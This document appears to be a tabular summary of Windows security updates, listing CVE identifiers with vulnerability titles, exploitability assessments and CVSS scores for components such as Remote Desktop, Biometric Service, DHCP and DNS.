CVE-2026-69600	Microsoft Windows Search Component Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.0
CVE-2026-69608	Microsoft Windows Search Component Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-69911	Microsoft Windows Search Component Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.0
CVE-2026-69507	Microsoft Windows Search Component Information Disclosure Vulnerability	Exploitation Unlikely	No	5.7
CVE-2026-70145	Microsoft Windows Search Component Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-69453	Microsoft Windows Search Component Tampering Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-69554	Microsoft Windows Search Component Tampering Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-69444	Microsoft Windows Speech Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-69456	Microsoft Windows Speech Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-69531	Microsoft Windows Speech Tampering Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-69807	PowerShell Elevation of Privilege Vulnerability	Exploitation Unlikely	No	8.0
CVE-2026-69303	Push Message Routing Service Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-69649	Raw Image Extension Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8

CVE-2026-68828	Remote Desktop Client Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-69358	Remote Desktop Client Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.1
CVE-2026-69485	Remote Desktop Client Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-78463	Remote Desktop Client Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-80074	Remote Desktop Client Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-80077	Remote Desktop Client Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.8
CVE-2026-83998	Remote Desktop Client Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.8
CVE-2026-69292	Remote Desktop Gateway Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-69338	Remote Desktop Gateway Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.1
CVE-2026-68893	Remote Desktop Licensing Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.1
CVE-2026-69514	Remote Desktop Services Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-69525	Remote Desktop Services Remote Code Execution Vulnerability	Exploitation More Likely	No	9.8
CVE-2026-69536	Remote Desktop Services Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.1
CVE-2026-69539	Remote Desktop Services Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-69599	Remote Desktop Services Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-69509	Role: Windows Fax Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-69621	Role: Windows Fax Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-72944	Role: Windows Fax Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-69819	RPC Runtime Library Remote Code Execution Vulnerability	Exploitation Less Likely	No	9.8
CVE-2026-69568	Storage Spaces Controller Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-69431	Telnet Client Remote Code Execution Vulnerability	Exploitation Unlikely	No	9.8
CVE-2026-69384	Virtual Hard Disk (VHD) Miniport Driver Denial of Service Vulnerability	Exploitation Less Likely	No	7.1
CVE-2026-69541	Virtual Hard Disk (VHD) Miniport Driver Elevation of Privilege Vulernability	Exploitation More Likely	No	7.8
CVE-2026-69549	Virtual Hard Disk (VHD) Miniport Driver Elevation of Privilege Vulernability	Exploitation Less Likely	No	7.0
CVE-2026-69611	Virtual Hard Disk (VHD) Miniport Driver Elevation of Privilege Vulernability	Exploitation Less Likely	No	7.0
CVE-2026-69681	Virtual Hard Disk (VHD) Miniport Driver Elevation of Privilege Vulernability	Exploitation Unlikely	No	8.0
CVE-2026-70574	Virtual Hard Disk (VHD) Miniport Driver Elevation of Privilege Vulernability	Exploitation Less Likely	No	7.8
CVE-2026-81355	Virtual Hard Disk (VHD) Miniport Driver Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-69407	Volume Manager Driver Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-69418	Volume Manager Driver Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.0
CVE-2026-69432	Volume Manager Driver Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-72985	Volume Shadow Copy Elevation of Privilege Vulnerability	Exploitation Less Likely	No	6.8
CVE-2026-81352	Web Media Extensions Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.8
CVE-2026-69609	Win32k Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-69808	Win32k Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-69832	Win32k Information Disclosure Vulnerability	Exploitation More Likely	No	5.6
CVE-2026-69853	Win32k Information Disclosure Vulnerability	Exploitation Unlikely	No	4.7
CVE-2026-70290	Win32k Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-69654	Windows Accounts Control Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-69816	Windows Accounts Control Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-62762	Windows Active Directory Domain Services Denial of Service Vulnerability	Exploitation Unlikely	No	6.5
CVE-2026-69809	Windows Active Directory Domain Services Denial of Service Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-62813	Windows Active Directory Domain Services Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-69524	Windows Active Directory Domain Services Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.1
CVE-2026-69546	Windows Active Directory Domain Services Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.1
CVE-2026-85880	Windows Advanced Local Procedure Call (ALPC) Elevation of Privilege Vulnerability	Exploitation Detected	No	7.8
CVE-2026-70565	Windows AF_UNIX Socket Provider Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-69834	Windows ALPC Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-69874	Windows ALPC Elevation of Privilege Vulnerability	Exploitation Unlikely	No	8.2
CVE-2026-50349	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-70342	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Exploitation More Likely	No	8.1
CVE-2026-69311	Windows Audio Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-69394	Windows Audio Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-69447	Windows Audio Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-69540	Windows Audio Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-69604	Windows Audio Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-69692	Windows Audio Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-69801	Windows Audio Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-70562	Windows Audio Service Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.0
CVE-2026-73005	Windows Authentication Methods Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-73004	Windows Autopilot Tampering Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-68825	Windows Bind Filter Driver Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-69293	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-69298	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-69323	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-69352	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-69476	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-69489	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-69580	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-69583	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-69589	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-69593	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-69727	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	8.0
CVE-2026-69738	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-69773	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	8.0
CVE-2026-69787	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-69826	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	8.0
CVE-2026-70572	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-70573	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-70581	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-72941	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-72988	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-72990	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-72991	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-72992	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-72993	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-72994	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-72995	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-72996	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-72997	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-73000	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-73001	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-73002	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-73007	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-73011	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-73015	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-73020	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-73021	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-73026	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-77489	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-78447	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-78448	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-83954	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-83955	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-83967	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-83968	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-83969	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-83970	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-83971	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-83972	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-83973	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-83974	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-83975	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-83976	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-83977	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-83978	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-83979	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-83980	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-83981	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-83982	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-83983	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-83985	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-83986	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-83987	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-83988	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-73008	Windows Biometric Service Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-69458	Windows BitLocker Elevation of Privilege Vulnerability	Exploitation Unlikely	No	8.0
CVE-2026-69449	Windows BitLocker Remote Code Execution Vulnerability	Exploitation Less Likely	No	6.7
CVE-2026-69817	Windows Bluetooth Port Driver Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-68849	Windows Bluetooth Port Driver Information Disclosure Vulnerability	Exploitation Less Likely	No	4.7
CVE-2026-69388	Windows Bluetooth Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-69398	Windows Bluetooth Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-69448	Windows Bluetooth Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-69889	Windows Bluetooth Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-77892	Windows Boot Manager Elevation of Privilege Vulnerability	Exploitation Less Likely	No	6.8
CVE-2026-69735	Windows Broadcast DVR User Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-69391	Windows Broker Infrastructure Service Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-69542	Windows Camera Frame Server Monitor Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-69283	Windows CD-ROM Driver Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-69561	Windows CD-ROM Driver Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-78454	Windows CD-ROM Driver Information Disclosure Vulnerability	Exploitation More Likely	No	5.5
CVE-2026-78508	Windows CD-ROM Driver Information Disclosure Vulnerability	Exploitation Less Likely	No	4.6
CVE-2026-69279	Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-80093	Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.0
CVE-2026-83991	Windows Cloud Files Mini Filter Driver Tampering Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-69445	Windows Compressed Folder Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-70019	Windows Compressed Folder Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-69496	Windows Compressed Folder Remote Code Execution Vulnerability	Exploitation Less Likely	No	9.8

CVE-2026-69267	Windows Connected User Experiences and Telemetry Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-69771	Windows Container Manager Service Security Feature Bypass Vulnerability	Exploitation Unlikely	No	4.7
CVE-2026-70583	Windows Core Messaging Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-70584	Windows Core Messaging Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-70578	Windows Credential Guard Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-72958	Windows Credential Guard Elevation of Privilege Vulnerability	Exploitation Unlikely	No	8.2
CVE-2026-69790	Windows Credential Providers Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-69814	Windows Credential Providers Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-69729	Windows Credential Providers Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.8
CVE-2026-69284	Windows DCOM Server Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-70568	Windows Defender Firewall Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-68831	Windows Defender Firewall Service Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-69607	Windows Deployment Services Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-72943	Windows Deployment Services Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-72954	Windows Deployment Services Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-72957	Windows Deployment Services Remote Code Execution Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-69314	Windows Device Association Broker Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.1
CVE-2026-69693	Windows Device Association Broker Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-69296	Windows Device Association Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.1
CVE-2026-69478	Windows Device Association Service Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-69488	Windows Device Association Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-69574	Windows Device Association Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-69581	Windows Device Association Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-69711	Windows Device Association Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-69714	Windows Device Association Service Elevation of Privilege Vulnerability	Exploitation More Likely	No	8.0
CVE-2026-69791	Windows Device Association Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-69866	Windows Device Association Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-77500	Windows Device Association Service Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-83940	Windows Device Association Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-69443	Windows Device Health Attestation (DHA) Information Disclosure Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-69472	Windows Devices Human Interface Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-69781	Windows DHCP Client Denial of Service Vulnerability	Exploitation Unlikely	No	6.5
CVE-2026-69777	Windows DHCP Client Elevation of Privilege Vulnerability	Exploitation More Likely	No	8.0
CVE-2026-69342	Windows DHCP Server Denial of Service Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-69405	Windows DHCP Server Denial of Service Vulnerability	Exploitation Unlikely	No	5.7
CVE-2026-69416	Windows DHCP Server Denial of Service Vulnerability	Exploitation Unlikely	No	5.7
CVE-2026-69497	Windows DHCP Server Denial of Service Vulnerability	Exploitation Unlikely	No	6.5
CVE-2026-69637	Windows DHCP Server Denial of Service Vulnerability	Exploitation Less Likely	No	5.7
CVE-2026-69679	Windows DHCP Server Denial of Service Vulnerability	Exploitation Less Likely	No	5.7
CVE-2026-70065	Windows DHCP Server Denial of Service Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-77494	Windows DHCP Server Denial of Service Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-77498	Windows DHCP Server Denial of Service Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-77499	Windows DHCP Server Denial of Service Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-77501	Windows DHCP Server Denial of Service Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-77502	Windows DHCP Server Denial of Service Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-77886	Windows DHCP Server Denial of Service Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-77888	Windows DHCP Server Denial of Service Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-77889	Windows DHCP Server Denial of Service Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-77890	Windows DHCP Server Denial of Service Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-77893	Windows DHCP Server Denial of Service Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-77895	Windows DHCP Server Denial of Service Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-69415	Windows DHCP Server Elevation of Privilege Vulnerability	Exploitation Unlikely	No	6.8
CVE-2026-69297	Windows DHCP Server Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-69803	Windows DHCP Server Information Disclosure Vulnerability	Exploitation Unlikely	No	5.9
CVE-2026-69929	Windows DHCP Server Information Disclosure Vulnerability	Exploitation Unlikely	No	5.9
CVE-2026-69930	Windows DHCP Server Information Disclosure Vulnerability	Exploitation Unlikely	No	5.9
CVE-2026-70124	Windows DHCP Server Information Disclosure Vulnerability	Exploitation Unlikely	No	5.9
CVE-2026-69266	Windows DHCP Server Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-69412	Windows DHCP Server Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.0
CVE-2026-69510	Windows DHCP Server Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.1
CVE-2026-69547	Windows DHCP Server Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-69620	Windows DHCP Server Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.1
CVE-2026-69845	Windows DHCP Server Remote Code Execution Vulnerability	Exploitation Less Likely	No	9.8
CVE-2026-69847	Windows DHCP Server Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.0
CVE-2026-69876	Windows DHCP Server Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.0
CVE-2026-69878	Windows DHCP Server Remote Code Execution Vulnerability	Exploitation Less Likely	No	6.4
CVE-2026-72979	Windows DHCP Server Remote Code Execution Vulnerability	Exploitation Less Likely	No	9.8
CVE-2026-77887	Windows DHCP Server Remote Code Execution Vulnerability	Exploitation Less Likely	No	6.4
CVE-2026-77891	Windows DHCP Server Remote Code Execution Vulnerability	Exploitation Less Likely	No	6.4
CVE-2026-69715	Windows Direct Show Remote Code Execution Vulnerability	Exploitation Unlikely	No	9.8
CVE-2026-70567	Windows Display Enhancement Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-78446	Windows Distributed File System (DFS) Denial of Service Vulnerability	Exploitation Unlikely	No	5.3
CVE-2026-69424	Windows Distributed File System (DFS) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-69631	Windows DNS Denial of Service Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-70091	Windows DNS Denial of Service Vulnerability	Exploitation Unlikely	No	5.9
CVE-2026-69310	Windows DNS Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.0
CVE-2026-72948	Windows DNS Elevation of Privilege Vulnerability	Exploitation Unlikely	No	6.7
CVE-2026-69369	Windows DNS Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-69672	Windows DNS Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-72987	Windows DNS Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.1
CVE-2026-78523	Windows DNS Server Denial of Service Vulnerability	Exploitation Unlikely	No	5.9
CVE-2026-69551	Windows DNS Server Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-69730	Windows DNS Server Remote Code Execution Vulnerability	Exploitation More Likely	No	9.8
CVE-2026-69782	Windows DNS Server Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.1
CVE-2026-69813	Windows DNS Server Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.1
CVE-2026-69827	Windows DNS Server Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.1
CVE-2026-69858	Windows DNS Server Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.1
CVE-2026-69989	Windows DNS Server Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.1
CVE-2026-72928	Windows DNS Server Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-77505	Windows DNS Server Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.1
CVE-2026-69680	Windows DNS Spoofing Vulnerability	Exploitation Unlikely	No	8.1
CVE-2026-69775	Windows DWM Core Library Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.1
CVE-2026-69430	Windows Embedded Mode Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-69688	Windows Encrypting File System (EFS) Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.1
CVE-2026-69841	Windows Encrypting File System (EFS) Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-69794	Windows Encrypting File System (EFS) Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-69481	Windows Enterprise App Management Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.0
CVE-2026-69907	Windows Enterprise App Management Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-68894	Windows Error Reporting Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.0
CVE-2026-69362	Windows Error Reporting Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-69433	Windows Error Reporting Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-69436	Windows Error Reporting Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-69450	Windows Error Reporting Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-69462	Windows Error Reporting Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.0
CVE-2026-69513	Windows Error Reporting Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-69612	Windows Error Reporting Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-69896	Windows Error Reporting Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-83996	Windows Error Reporting Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-69684	Windows Error Reporting Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-69482	Windows Error Reporting Tampering Vulnerability	Exploitation Unlikely	No	7.1
CVE-2026-69493	Windows Event Logging Service Remote Code Execution Vulnerability	Exploitation Less Likely	No	9.8
CVE-2026-69494	Windows Event Logging Service Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-69495	Windows Event Logging Service Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-69619	Windows exFAT File System Elevation of Privilege Vulnerability	Exploitation Unlikely	No	8.0
CVE-2026-71338	Windows Failover Cluster Elevation of Privilege Vulnerability	Exploitation Less Likely	No	6.4
CVE-2026-72989	Windows Failover Cluster Information Disclosure Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-68878	Windows Fast FAT Driver Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.0
CVE-2026-69347	Windows Fast FAT Driver Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.4
CVE-2026-68837	Windows File History Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-71340	Windows File History Service Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.0
CVE-2026-72947	Windows File History Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	6.4
CVE-2026-77491	Windows GDI Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-68827	Windows GDI+ Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.0
CVE-2026-69288	Windows GDI+ Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-77493	Windows Graphics Component Remote Code Execution Vulnerability	Exploitation Less Likely	No	9.8
CVE-2026-81955	Windows Graphics Component Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.8
CVE-2026-69717	Windows Group Policy Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.0
